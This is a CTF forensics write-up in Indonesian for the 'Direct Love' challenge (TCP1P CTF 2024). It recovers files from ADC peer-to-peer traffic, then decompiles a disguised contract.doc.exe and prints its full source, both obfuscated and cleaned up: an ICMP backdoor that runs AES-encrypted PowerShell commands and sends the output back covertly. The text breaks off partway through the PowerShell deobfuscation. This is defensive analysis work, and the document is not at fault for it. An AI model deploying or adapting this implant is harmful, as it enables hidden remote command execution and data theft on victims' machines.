TCP1P CTF 2024

Direct Love 🩸

Summary

My fiancée, Mizuhara Chizuru, lent her laptop to one of her friends. Her friend downloaded files using a peer-to-peer protocol on Windows. However, not long after, one of Chizuru's important documents went missing. There's always something with my fiancée :D
Author: C2uru
file : direct-love.zip

Diberikan sebuah zip yang berisi file pcapng dengan traffic seperti berikut

image
Dapat dilihat bahwa traffic dalam file ini berfokus dengan protocol TCP dan ICMP. Lalu dapat kita lihat bahwa pada traffic ini berfokus pada IP 192.168.56.1 dan 192.168.56.101
image

lalu dicobalah analisa pada protokol TCP terlebih dahulu dengan menggunakan follow TCP stream pada salah satu paket TCP, dan disini terlihat pula bahwa terdapat total 4 TCP stream

image

dari sini kita dapat melihat behaviour atau sifat protokol asli pada traffic. Dapat terlihat bahwa terdapat sebuah percakapan dengan dengan menggunakan sebuah protokol tertentu, hal ini dapat dilihat dengan adanya penggunaan sebuah command unik seperti $ConnectToMe dan $MyINFO $ALL. Dengan dua command tersebut kita dapat mencari tahu protocol apa yang sebenarnya digunakan, dan ternyata protocol yang digunakan tersebut adalah ADC yang mirip dengan protokol NMDC yang bisa kita sebut sebagai protokol peer-to-peer (p2p).

image
Hal ini pun diperkuat oleh TCP Stream selanjutnya yang memuat command lainnya
image

Exploit

recover file dari traffic

Dari informasi yang kita dapatkan dapat kita simpulkan kita harus merecovery data dari traffic ADC Protokol. Untuk ADC sendiri memiliki behaviour tersendiri dalam mengirim atau menerima data. Secara singkat dapat dikatakan seperti ini

  • melakukan pertukaran data yang sudah di compress menggunakan zlib
  • selalu memberikan list file dalam bentuk compressed XML
  • dalam XML terdapat sebuah TTH Hash yang merupakan identifier pada file
  • hash ini akan digunakan pada command ADC untuk melakukan pertukaran data
  • file dengan ukuran besar akan dibagi menjadi beberapa bagian
  • bagian file pun akan dikirim dengan paket-paket yang lebih kecil
  • sistemnya sama seperti p2p pada umumnya, yaitu client akan meminta file dengan offset tertentu yang belum dimiliki oleh client, dan server akan mengirimkan bagian file tersebut secara berkala menggunakan paket yang lebih kecil

hal pertama yang dilakukan adalah mengambil data XML untuk mengetahui file apa saja yang di transfer. untuk hal tersebut kita dapat mencapainya dengan 2 cara yaitu ambil stream yang mengirimkan XML lalu kita decompress atau langsung saja kita binwalk pcapng nya

> binwalk -e Direct-Love.pcapng

dapat dilihat disini kita langsung mendapatkan beberapa XML sekaligus

image

dan berikut adalah isinya

image

dari file tersebut kita dapat mengetahui ada file yang menarik yaitu secret.pdf dan contract.doc.exe beserta TTH Hashnya, dan saat kita lihat di streamnya ternyata dua file tersebut lah yang di transfer

image
image

dan setelah dianalisa dua file tersebut berada pada TCP stream yang berbeda (pdf pada TCP stream 3, doc.exe pada TCP stream1). Dan untuk bagian file-filenya pun terstruktur, dapat dilihat pada file contract.doc.exe pada TCP stream 1

image

fokus pada command $ADCGET file yang memiliki struct seperti ini (structnya pun mirip dengan $ADCSND file)

$ADCGET file TTH/<TTH Hash file> <start offset> <end offset> ZL1

dari situ dapat dilihat paket sudah tersedia secara sequence sehingga kita hanya perlu mengambil secara berurutan, berikut scriptnya

import pyshark

pcap_file = "Direct-Love.pcapng" 
display_filter = 'tcp.stream eq 3 and ip.src == 192.168.56.101'
cap = pyshark.FileCapture(pcap_file, display_filter=display_filter)

f = open("datafull3","ab")
for packet in cap:
    if 'TCP' in packet:
        tcp_stream = packet.tcp.stream
        src_ip = packet.ip.src
        if hasattr(packet.tcp, 'payload'):
            tcp_data = bytes.fromhex(packet.tcp.payload.replace(':', ''))
            f.write(tcp_data)

cap.close()
f.close()

dan berikut hasilnya

image

lalu lakukan cleaning (karena kita hanya perlu packet yang menyimpan zlib compressed saja dan memuat file yang ingin kita recover) sehingga seperti ini

image

langsung saja kita ambil data yang memuat compressed zlibnya dan kita decompress menggunakan script berikut

import re
import zlib

data = open('datafull5','rb').read()
rule = re.compile(rb'x\^.*?(?=\$ADC|$)', flags=re.S)

matches = rule.findall(data)

file = open('res3','ab')
x = 0
for match in matches:
    x += 1
    try:
        z = zlib.decompressobj()
        dm = z.decompress(match)
        file.write(dm)
    except Exception as e:
        print(x, e)
        c = open(f'fail{x}','wb').write(match)

file.close()

dan berikut hasilnya

image

terlihat sepertinya file pdf tersebut sudah ter-encrypt (hal ini pun bisa kita pastikan dengan adanya extension tambahan .wkwk pada list file nya) oleh karena itu mari kita coba recover .exe nya terlebih dahulu

disini saya menggunakan approach berbeda dengan TCP stream 3 karena pada TCP stream 1 terdapat beberapa packet yang error dan sepertinya pyshark ignore packet tersebut

image

disini saya menggunakan filter pada follow TCP Stream (filter conversation dan membuat data as raw)

image

lalu saya save as ke datafull6

image

dan berikut hasilnya

image

cleaning terlebih dahulu lalu gunakan script sebelumnya untuk decompress zlib dan berikut hasilnya

image

dapat terlihat bahwa untuk file contract.doc.exe ini tidak ter-encyrpt tidak seperti file .pdf sebelumnya, maka bisa dipastikan kedua file ini berhubungan.

decompile file exe

mari kita coba analisa secara singkat file exe tersebut

> strings res3

dari sini dapat dilihat bahwa sepertinya file exe tersebut merupakan hasil compile script python

image

langsung saja saya up ke pylingual dan berikut hasilnya

# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: server.py
# Bytecode version: 3.10.0rc2 (3439)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)

from scapy.all import *
import subprocess
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
import base64
import zlib
import base64

def zenlesszonezero(input_bytes):
    return zlib.compress(input_bytes.encode())

def Zenonia(compressed_bytes):
    return zlib.decompress(compressed_bytes).decode()

def gasskann(gg_bang):
    gacorrrrrrrr = AES.new(WKWKKKWKWKWKWKWKWKWKWKWKWKWWKWKWKWKWKWKWKKWKWKWKWK, AES.MODE_CBC, bjirrrrrrrrrrrrrrrrrrr)
    wibuuuuuuuuuuuuuu = pad(gg_bang, AES.block_size)
    anjirrrrrrr = gacorrrrrrrr.encrypt(wibuuuuuuuuuuuuuu)
    return bjirrrrrrrrrrrrrrrrrrr + anjirrrrrrr

def ashiap(bjrit):
    bjirrrrrrrrrrrrrrrrrrr = bjrit[:16]
    anjirrrrrrr = bjrit[16:]
    gacorrrrrrrr = AES.new(WKWKKKWKWKWKWKWKWKWKWKWKWKWWKWKWKWKWKWKWKKWKWKWKWK, AES.MODE_CBC, bjirrrrrrrrrrrrrrrrrrr)
    wibuuuuuuuuuuuuuu = gacorrrrrrrr.decrypt(anjirrrrrrr)
    return unpad(wibuuuuuuuuuuuuuu, AES.block_size)

def kazuyabjirrrrrrrrrr(ezChangli):
    try:
        if len(ezChangli) > 30000:
            wrth = base64.b64decode(ezChangli).decode('utf-16le')
            minecraft = ['powershell', wrth]
        else:  # inserted
            minecraft = ['powershell', '-EncodedCommand', ezChangli]
        genshinImpact = subprocess.check_output(minecraft, stderr=subprocess.STDOUT, universal_newlines=True)
        return genshinImpact
    except subprocess.CalledProcessError as e:
        genshinImpact = e.output
        return genshinImpact

def bengsky(kiaraaa):
    return len(kiaraaa) < 1024

def yellowww(Maling):
    if Maling.haslayer(ICMP) and Maling[ICMP].type == 8 and Maling.haslayer(Raw):
        msfir = Maling[IP].src
        azuketto = Maling[ICMP].seq
        kiaraaa = Maling[Raw].load
        if msfir not in kiaraaa_buffer:
            kiaraaa_buffer[msfir] = []
        kiaraaa_buffer[msfir].append((azuketto, kiaraaa))
        print(f'Received kiaraaa {azuketto} from {msfir}')
        if bengsky(kiaraaa):
            cutelittlebirb = b''.join([solderet for _, solderet in sorted(kiaraaa_buffer[msfir])])
            ezChangli = Zenonia(ashiap(cutelittlebirb))
            LKazuya = kazuyabjirrrrrrrrrr(ezChangli)
            if len(LKazuya) == 0:
                LKazuya = 'success'
            hoaaaaaahm = gasskann(zenlesszonezero(LKazuya))
            del kiaraaa_buffer[msfir]
            yoasobi(hoaaaaaahm, msfir, Maling[ICMP].id)

def yoasobi(gataubjrit, Mau_kemana_kita, booyah):
    MAX_kiaraaa_SIZE = 1024
    kiaraaas = [gataubjrit[i:i + MAX_kiaraaa_SIZE] for i in range(0, len(gataubjrit), MAX_kiaraaa_SIZE)]
    for kiara123, kiaraaa in enumerate(kiaraaas):
        reply = IP(dst=Mau_kemana_kita, src=MizuharaChizuru) / ICMP(type=0, seq=kiara123, id=booyah) / kiaraaa
        send(reply)
        print(f'Sent kiaraaa {kiara123 + 1}/{len(kiaraaas)} of gataubjrit')

def gabutt(MizuharaChizuruPretty):
    if not MizuharaChizuruPretty.haslayer(ICMP) or MizuharaChizuruPretty[ICMP].type == 8:
        ezChangli = ashiap(Zenonia(MizuharaChizuruPretty[Raw].load))
        print(f'{ezChangli}')
        LKazuya = kazuyabjirrrrrrrrrr(ezChangli)
        if len(LKazuya) == 0:
            LKazuya = 'success'
        hoaaaaaahm = IP(dst=MizuharaChizuruPretty[IP].src, src=MizuharaChizuru) / ICMP(type=0) / zenlesszonezero(gasskann(LKazuya))
        send(hoaaaaaahm)

def kawokaowkoawkowkoakowkokokwokoawkokokaowkoawkoakowkawooawkoaowkoawoakwoawokaoawk(awokawokawokawokawokawokawokawokawokawokawokawok):
    if len(awokawokawokawokawokawokawokawokawokawokawokawok)!= 32:
        return False
    if ord(awokawokawokawokawokawokawokawokawokawokawokawok[0]) ^ 205159573243964824737299055634219568431425393093966110759400764283677572127787 ^ 173438557617046994740268237909681699856296019683243567021195924658018589018903 == 84537522163133512712798803067162590725054291695882455854042202399512022210394 and ord(awokawokawokawokawokawokawokawokawokawokawokawok[1]) * 162494310648658200012862524540051780636413417878626535838725154491130938306481 % 195058868702908667776267085193295799561528929723257041839747686100985003927251 == 192431031722155557342984855383949287648215798967049088508647657635869885548299 and (ord(awokawokawokawokawokawokawokawokawokawokawokawok[2]) >> (ord(awokawokawokawokawokawokawokawokawokawokawokawok[151244431611715386709405295427990705569837850570734658634219328116519491973958]) >> (ord(awokawokawokawokawokawokawokawokawokawokawokawok[2]) | (ord(awokawokawokawokawokawokawokawokawokawokawokawok[1]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[3]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[6]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[151244431611715386709405295427990705569837850570734658634219328116519491973958]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[9]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[10]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[11]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[12]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[34967568471296017085928006251512630841377292388]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[177882818520121930146048357479318156034980376337314021987435285709653355602623]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[34]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[223421758885926246028379197342793581801600698205469559280956909002798064333220]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[213]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[209283825236870728108795504436518862758898641660764912471694788781672098710497]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[68]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[123772702489839681973635644532466572473607067530754438100981398346883113920296]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[140]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[205902649635755580703010725811204104880093096195602756256202759621195005547387]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[172]) % (ord(awokawokawokawokawokawokawokawokawokawokawokawok[13]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[191110997079291003886243920110265359868927528775615636607149409815719553018286]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[203502071766785860328949160274923202972577704040667994653638555977843864283024]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[46784198301386614834492076010478856478791434675045915130379418070814796582415]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[14]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[196304600276030441717203047793990291753677613346535569350358632461910478331551]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[228188132596927174240201320565066612978089566161838459847187087960904632401916]) % (ord(awokawokawokawokawokawokawokawokawokawokawokawok[33693004706189283263780318189072261648330420986111978542300002073853895827802]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[15]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[160673928596956747585215127845421421241617867509048866522228214873677517286155]) % (ord(awokawokawokawokawokawokawokawokawokawokawokawok[211838851397605725599441667381614970040407649476387313769902668442103668164628]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[86149922340117762510426110842089298142982259284402297350458250020788775808832]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[16]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[129933060553846437718252540370820819460825657759431927658325212603758218003089]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[34648009544446514315497695836498474173573379577965071378217963496273404580428]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[17]) % (ord(awokawokawokawokawokawokawokawokawokawokawokawok[18]) % (ord(awokawokawokawokawokawokawokawokawokawokawokawok[19]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[20]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[21]) % (ord
        return True
    else:  # inserted
        pass  # postinserted
    return False
bjirrrrrrrrrrrrrrrrrrr = get_random_bytes(16)
MizuharaChizuru = '192.168.56.101'
ChizuruMizuhara = '\\Device\\NPF_{F64BB047-095A-46A3-8E8F-C5D24BEE0ED2}'
WKWKKKWKWKWKWKWKWKWKWKWKWKWWKWKWKWKWKWKWKKWKWKWKWK = str(input())
if not kawokaowkoawkowkoakowkokokwokoawkokokaowkoawkoakowkawooawkoaowkoawoakwoawokaoawk(WKWKKKWKWKWKWKWKWKWKWKWKWKWWKWKWKWKWKWKWKKWKWKWKWK):
    raise '?'
kiaraaa_buffer = {}
WKWKKKWKWKWKWKWKWKWKWKWKWKWWKWKWKWKWKWKWKKWKWKWKWK = bytes.fromhex(WKWKKKWKWKWKWKWKWKWKWKWKWKWWKWKWKWKWKWKWKKWKWKWKWK)
RET2LIBC = 0
print('...')
sniff(iface=ChizuruMizuhara, filter='icmp', prn=yellowww)

recover aes key

sepertinya file tersebut terkena obfuscated dan secara sekilas script tersebut merupakan ICMP listener yang akan mengtamper paketnya menggunakan AES mari kita coba recover AES key nya terlebih dahulu, karena terlihat seperti persamaan saja pada fungsinya sehingga kita bisa merecover tanpa deobfuscated terlebih dahulu. berikut scriptnya (seharusnya bisa menggunakan z3 tapi penulis lebih memilih cara barbar)

AESkey = ''

for i0 in range(256):
    if i0 ^ 0x1C59434157D3CC5C0CBC8D6DC02829495C788A9DBBFF2DE1E78648DC30BF0DC2B ^ 0x17F72BEAECB88ADF2DB3938AAAAB9CF6EDC0783FC48DC33EF14B8E7FBF4030B17 == 0xBAE68ABBB6B4683210F1EE76A83B5BFB1B8F2A27F72EEDF16CDC6A38FFF3D75A:
        print(chr(i0))
        AESkey += chr(i0)
        break

for i0 in range(256):
    if i0 * 0x16740854518DF2EA1657D27CE6B01C05086BBBF1CB2802F04C6C54E69897AAFB1 % 0x1AF3F684363BC2A1C0DB2F3D6812A60EC5D77BF04C711F81E78529D7C736066D3 == 0x1A9701AB0782E53FCF134510662DF4B1705F5BBA7244C0440F068B5D43351470B:
        print(chr(i0))
        AESkey += chr(i0)
        break

for i0 in range(256):
    if i0 * 0x14E61508FE9FA732B9710920C44347E1DABD7C0BE88BE684F1769BDF57A0DB346 % 0x113F1B22D1B3C1884382491E066CCD1CA5C9BE6A8E86689DC4A586E206BE55B43 == 0x2D7CBCC3B3580A379AD255757F701DB73D21E174FC7852EB8BCAAAAE709AEFF2:
        print(chr(i0))
        AESkey += chr(i0)
        break 

for i0 in range(256):
    if int(format(i0, 'o')) ^ 0x1F7BB0571AD58CA0A5A58004A08EC1F1BB1EC32AE1D76661EDBE21AEB2A341B14 == 0x1F7BB0571AD58CA0A5A58004A08EC1F1BB1EC32AE1D76661EDBE21AEB2A341B29:
        print(chr(i0))
        AESkey += chr(i0)
        break

for i0 in range(256):
    if (i0 + 0x17A16D26F9760AA550B5F840E3EE93ABC33D2F04349CDC4E30377DC04659BF508) % 256 == 110:
        print(chr(i0))
        AESkey += chr(i0)
        break
     
for i0 in range(256):
    if i0 * 0x179C53E1010297ED481DF9E8AB4B6FF6DB4261D9A8091863F50975276AE3A6014 % 0x1A6F53F5AAF1C46EB1710B54AA6AE95B69CAC65E67DF15991267A60A3AFB6EEAA == 0x10D593B9F4C393B8B761E2B7A7AB07D38A086FC1C680FC73A9C39C7FAFCAA3A78:
        print(chr(i0))
        AESkey += chr(i0)
        break
      
for i0 in range(256):
    if (i0 + 0x1EE7355295E254A569DDA5FFCF6F76564A1FEEF89CE139C965684168A5BF6E837) % 256 == 111:
        print(chr(i0))
        AESkey += chr(i0)
        break
      
for i0 in range(0,256):
    try:
        if i0 ^ 0x1B1FE62CCD12D4121DFC48286E16D21CA772521811D09AB587B5630A7DC81862E >> 0xA775C05707307D708AA70410BF0A65B1C249287FC53CC769028A01B602BE3924 * i0 ^ i0 % i0 << i0 + i0 == 0x620000000000000000000000000000000000064:
            print(chr(i0))
            AESkey += chr(i0)
            break
    except Exception as e:
        print('erreor', e)
        AESkey += '?'
        pass
      
for i0 in range(256):
    if (i0 + 0x189461B7D908379B8AB0EB80DF5F1962FF90AD201A3BE370B00E0911243F522BF) % 256 == 34:
        print(chr(i0))
        AESkey += chr(i0)
        break
     
for i0 in range(256):
    if (i0 + 0x1EDF43BF6921FBC6B43B794653E72057D3C6C4410F34E1A0A4AF174DBFDE5F1A4) % 256 == 213:
        print(chr(i0))
        AESkey += chr(i0)
        break 
for i0 in range(256):
    if (i0 + 0x1CEB272861475D38612F33A177FDCA9C6250DCE2D619E718DCA06F83DBC4043E1) % 256 == 68:
        print(chr(i0))
        AESkey += chr(i0)
        break 
for i0 in range(256):
    if (i0 + 0x111A4DDF5A00B9373C7E8695BB23DAF8062C478A57DC0AA579EE69417E017A728) % 256 == 140:
        print(chr(i0))
        AESkey += chr(i0)
        break 
for i0 in range(256):
    if (i0 + 0x1C738C510B7C2E2562935301E1D01BD3E526BF2B6D9FBED520280020C3D11D37B) % 256 == 172:
        print(chr(i0))
        AESkey += chr(i0)
        break 
for i0 in range(256):
    if i0 ^ 0x1A684FDBA4E1C5AC7773537CFB678FBB54CB24DE6BFAC6F1807612A5A21E829AE ^ 0x1C1EA1742BFFCD3267BA6B8ED813D3E164E4069001907FCD42230E2E0E1DCA790 == 0x676EEAF8F1E089E10C938F223745C5A302F224E6A6AB93CC2551C8BAC0348E0F:
        print(chr(i0))
        AESkey += chr(i0)
        break 
for i0 in range(256):
    if i0 ^ 0x1B20077638558416EB947F1F246000FD3FC2168F54D62084AF8811154599E9E9F ^ 0x1F87DE7F96C8AB4A92888E158C8195AC1E9C46AF24DCB134210F0164E3F287FFC == 0x4A7D909AE9D2F5C791CF10AA8E19551215E5020700A91B08E871071A66B6E15A:
        print(chr(i0))
        AESkey += chr(i0)
        break 
for i0 in range(256):
    if i0 * 0x1633A388A11C683B5ABF8E6BABB8D4B6D3B41C912ADA609409CAAF4E70D4FEB0B % 0x1D4588A7995E8722D0E1F46C973ECCAC1158D9F0CDC7B99B4DCAC29E458064814 == 0xBE7720CA4088A3BA42454EAEDD31A154146B55B18DC01EAE57D807361E19EF40:
        print(chr(i0))
        AESkey += chr(i0)
        break 
for i0 in range(0,256):
    try:
        if i0 ^ 0x11F438191D6F5840FAE20242D792FAAEA4C466801CC307E4C3A7DDC69EEB34291 >> 0x4C9A14151D062384AF3E08791BC4782BB5F541AB6337FA5B2BA69ECB89B5524C * i0 ^ i0 % i0 << i0 + i0 == 0x1C8000000000000000000000000035:
            print(chr(i0))
            AESkey += chr(i0)
            break 
    except Exception as e:
        print('erreor', e)
        AESkey += '?'
        pass
for i0 in range(256):
    if i0 * 0x12088CD4A74ADF9C9106019F227B5D6799FDB90AE5189615B3418FED04F6CCC8B % 0x13E1969C6CE32AE7BC0BA2FA42E521A71081848E9522584C8727F6CB20AF67DA3 == 0xFCF63F7540288FCFF0A85EE7A3BDC0876349688FCAB95CCD089482CB3BA83492:
        print(chr(i0))
        AESkey += chr(i0)
        break 
for i0 in range(256):
    if (i0 + 0x192B498C56D10044247AD142429A059F769407838C08CC74721FBB9915EA2EE7B) % 256 == 180:
        print(chr(i0))
        AESkey += chr(i0)
        break 
for i0 in range(256):
    if (i0 + 0x1E6CA62A1BBE1572E5092A153D8CBCAC1B5A0DB31542E5EBCD6B5313225B95D27) % 256 == 136:
        print(chr(i0))
        AESkey += chr(i0)
        break 
for i0 in range(256):
    if i0 ^ 0x1259F222BE4B210D359B761FA4309295E8A928C5829CA2BF876C018407AB19BE0 ^ 0x1331876F91705B77820E694D7C62976AC6B2AC7E25AF0ECED8C194B8B98F25BA8 == 0x168754D2F3B7A7AB7951F52D85205FF2E1B84BBA733AC715FAD953CBE243C071:
        print(chr(i0))
        AESkey += chr(i0)
        break
for i0 in range(256):
    if (i0 + 0x1BD52E3F20A69859770745A6EEC6D3810FFD6773ED3E2A10200D93C0DB37F0EC4) % 256 == 250:
        print(chr(i0))
        AESkey += chr(i0)
        break 
for i0 in range(256):
    if (i0 + 0x145831CC88E273608B9F2205BAC8C2E3CAE65F574829E442114F8C2207EE32B6C) % 256 == 157:
        print(chr(i0))
        AESkey += chr(i0)
        break 
for i0 in range(256):
    if (i0 + 0x198E4DABDEE1179F7D4092D5E2208110E518CB31708F9C6336DC666EDFC8484AA) % 256 == 223:
        print(chr(i0))
        AESkey += chr(i0)
        break 
for i0 in range(256):
    if i0 ^ 0x13D6AFD58676E2ED7E6DABB9715206DC1050A5EABE9E28003DFF058C3E8FEC677 == 0x13D6AFD58676E2ED7E6DABB9715206DC1050A5EABE9E28003DFF058C3E8FEC612:
        print(chr(i0))
        AESkey += chr(i0)
        break 
for i0 in range(256):
    if (i0 + 0x1007D88C5C57065A9DD3AE28DACE58214AB85927D8F03C207A923CBDD875874B8) % 256 == 236:
        print(chr(i0))
        AESkey += chr(i0)
        break 
for i0 in range(256):
    if (i0 + 0x1690B92CCC40F3439EB8A682B751B0C7AA23669E19166E52D9B7058C254BC1D57) % 256 == 138:
        print(chr(i0))
        AESkey += chr(i0)
        break 
for i0 in range(256):
    if i0 ^ 0x1F51787EF5E51DE2D83D786886A97C27161AEF727A0A999AB1EAEC51E66D08113 == 0x1F51787EF5E51DE2D83D786886A97C27161AEF727A0A999AB1EAEC51E66D08171:
        print(chr(i0))
        AESkey += chr(i0)
        break 
for i0 in range(256):
    if (i0 + 0x1807BD7F90F445C98B17365BA6611E5D694FF44072DBE8AED45EC9F5957878254) % 256 == 184:
        print(chr(i0))
        AESkey += chr(i0)
        break 
for i0 in range(256):
    if i0 * 0x149331111B35BF53655E0BF224A63D19A4B38A5665E6B7A06FB099DBACE9481AE % 0x102A14368B493161415CEC124D876391470A07A1392D42502B5450744DDB2081C == 0x1E03C2C2889A52E7CC0404ACB1E6C8F5D4A27A4231518C25E30E64DC339A4BA:
        print(chr(i0))
        AESkey += chr(i0)
        break 
for i0 in range(256):
    if i0 * 0x1041D420E124872008EFFCFC6010E5B6D0F0301EA10C3DD80DAA776F8B3E947B6 % 0x168EF3A2189D80198564293C6B9C739560E68D6038CC571FC460206DC4BB0AC6E == 0xB770BE0AFA44F7C860F0A53971E913E9DF4DBC3F89BCC0672825724619916726:
        print(chr(i0))
        AESkey += chr(i0)
        break 
for i0 in range(256):
    if i0 ^ 0x17777376A529C6674F02B3DC88649F1514EB6631D53167714CB5ECA2B43B9A4E0 ^ 0x1CBA893260FEF9E39ED652E048DACA599F28D098FF6EA1331449172D0F1A225E0 == 0xBCDFA44C5D73F84D1D4E13CC0BE554C8BC3B6A92A5FC64258FCFB8FBB21B8139:
        print(chr(i0))
        AESkey += chr(i0)
        break

print(AESkey)

terdapat sebuah edge case terutama pada persamaan yang memiliki modulo sehingga kita ganti menggunakan ? dan sepertinya kita butuh bruteforce untuk char ? dan berikut AES Key hasil script

% python3 brute-aeskey.py 
f
0
0
1
f
a
8
erreor integer division or modulo by zero
c
1
c
d
1
1
9
0
erreor integer division or modulo by zero
8
9
a
9
6
1
5
e
4
3
b
d
7
f
9
f001fa8?c1cd1190?89a9615e43bd7f9

untuk brute AES key nya kita dapat mengambil satu packet lalu kita coba decrypt menggunakan script berikut

def brute(f):
    hexchar = '0123456789abcdef'
    for x in hexchar:
        for y in hexchar:
            key = bytes.fromhex(f'f001fa8{x}c1cd1190{y}89a9615e43bd7f9')
            try:
                data = decrypt_data(f, key)
                print(key)
                try :
                    data = decompress_data(data)
                    print(data)
                except Exception as e:
                    pass
                    # print(e)   
            except Exception as e:
                pass
                # print(e)
                
brute(open('data-aes','rb').read())

dan kitapun dapat full AES Key

% python3 brute-aes.py
b'\xf0\x01\xfa\x8d\xc1\xcd\x11\x90X\x9a\x96\x15\xe4;\xd7\xf9'

atau dalam bentuk hex nya f001fa8dc1cd1190589a9615e43bd7f9.

deobfuscate python script

lalu kita coba deobfuscate keseluruhan scriptnya. Dan berikut hasilnya

from scapy.all import *
import subprocess
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
import zlib
import base64

def compress_data(input_bytes):
    return zlib.compress(input_bytes.encode())

def decompress_data(compressed_bytes):
    return zlib.decompress(compressed_bytes).decode()

def encrypt_data(data, key, iv):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    padded_data = pad(data, AES.block_size)
    encrypted_data = cipher.encrypt(padded_data)
    return iv + encrypted_data

def decrypt_data(data, key):
    iv = data[:16]
    encrypted_data = data[16:]
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size)
    return decrypted_data

def execute_powershell(encoded_command):
    try:
        if len(encoded_command) > 30000:
            decoded_command = base64.b64decode(encoded_command).decode('utf-16le')
            command = ['powershell', decoded_command]
        else:
            command = ['powershell', '-EncodedCommand', encoded_command]
        output = subprocess.check_output(command, stderr=subprocess.STDOUT, universal_newlines=True)
        return output
    except subprocess.CalledProcessError as e:
        return e.output

def is_data_small(data):
    return len(data) < 1024

def process_icmp_packet(packet):
    if packet.haslayer(ICMP) and packet[ICMP].type == 8 and packet.haslayer(Raw):
        src_ip = packet[IP].src
        seq_num = packet[ICMP].seq
        raw_data = packet[Raw].load

        if src_ip not in packet_buffer:
            packet_buffer[src_ip] = []
        packet_buffer[src_ip].append((seq_num, raw_data))

        print(f"Received data with sequence {seq_num} from {src_ip}")

        if is_data_small(raw_data):
            assembled_data = b''.join([data for _, data in sorted(packet_buffer[src_ip])])
            decrypted_data = decompress_data(decrypt_data(assembled_data, aes_key))
            command_output = execute_powershell(decrypted_data)
            if len(command_output) == 0:
                command_output = 'success'

            encrypted_response = encrypt_data(compress_data(command_output), aes_key, iv)
            del packet_buffer[src_ip]
            send_icmp_response(encrypted_response, src_ip, packet[ICMP].id)

def send_icmp_response(response_data, dst_ip, packet_id):
    MAX_DATA_SIZE = 1024
    chunks = [response_data[i:i + MAX_DATA_SIZE] for i in range(0, len(response_data), MAX_DATA_SIZE)]

    for idx, chunk in enumerate(chunks):
        reply = IP(dst=dst_ip, src=local_ip) / ICMP(type=0, seq=idx, id=packet_id) / chunk
        send(reply)
        print(f"Sent chunk {idx + 1}/{len(chunks)} of response")

def icmp_listener():
    sniff(iface=network_interface, filter='icmp', prn=process_icmp_packet)

iv = get_random_bytes(16)
local_ip = '192.168.56.101'
network_interface = '\\Device\\NPF_{F64BB047-095A-46A3-8E8F-C5D24BEE0ED2}'
aes_key = bytes.fromhex(input("Enter AES key: "))
packet_buffer = {}

icmp_listener()

dari sini dapat lihat lebih jelas bahwa alurnya adalah sebagai berikut

  1. melakukan sniffing pada paket ICMP
  2. membaca isi dari paket ICMP lalu exec command ps1 didalamnya
  3. memberikan response hasil dari command pada paket ICMP

hal ini dapat disimpulkan agar kita mengetahui hasil command tersebut, dikarenakan ICMP sendiri memiliki behaviour dia akan memberikan response yang sama dengan request

menganalisa request ICMP

oleh karena itu mari kita coba lihat ICMP requestnya terlebih dahulu dengan mendecrypt menggunakan AES dan kita decompress zlib

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import zlib
import pyshark
from base64 import b64decode, b64encode
import subprocess
import re
from pwn import xor
import hashlib

pcap_file = "Direct-Love.pcapng" 
display_filter = 'icmp.type == 8'
cap = pyshark.FileCapture(pcap_file, display_filter=display_filter)

def fix(f):
    key = bytes.fromhex('f001fa8dc1cd1190589a9615e43bd7f9')
    try:
        data = decrypt_data(f, key)
        data = decompress_data(data)
        data = b64decode(data).decode('UTF-16LE')
        print(data)

    except Exception as e:
        print(e)
        pass
    
def main():
    for packet in cap:
        if 'ICMP' in packet:
            icmp_layer = packet.icmp
            src_ip = packet.ip.src
            if hasattr(icmp_layer, 'data'):
                print('='*21)
                raw_data = bytes.fromhex(icmp_layer.data)
                fix(raw_data)

main()

berikut hasilnya

image

disini kita mendapatkan informasi bahwa isi request tersebut adalah obfuscated powershell script, dan terdapat command block untuk enkripsi AES yang bisa kita simpulkan bahwa file secret.pdf.wkwk merupakan hasil command block tersebut, dan kita harus merecover variable $key terlebih dahulu.

deobfuscate powershell command

berikut konsepnya

  1. mari kita coba deobfuscated command tersebut menggunakan echo dan iex.
  2. kita akan mengecho variable terpanjang namun melalui iex agar kita dapat melihat wujud sebenernya dari command tersebut.
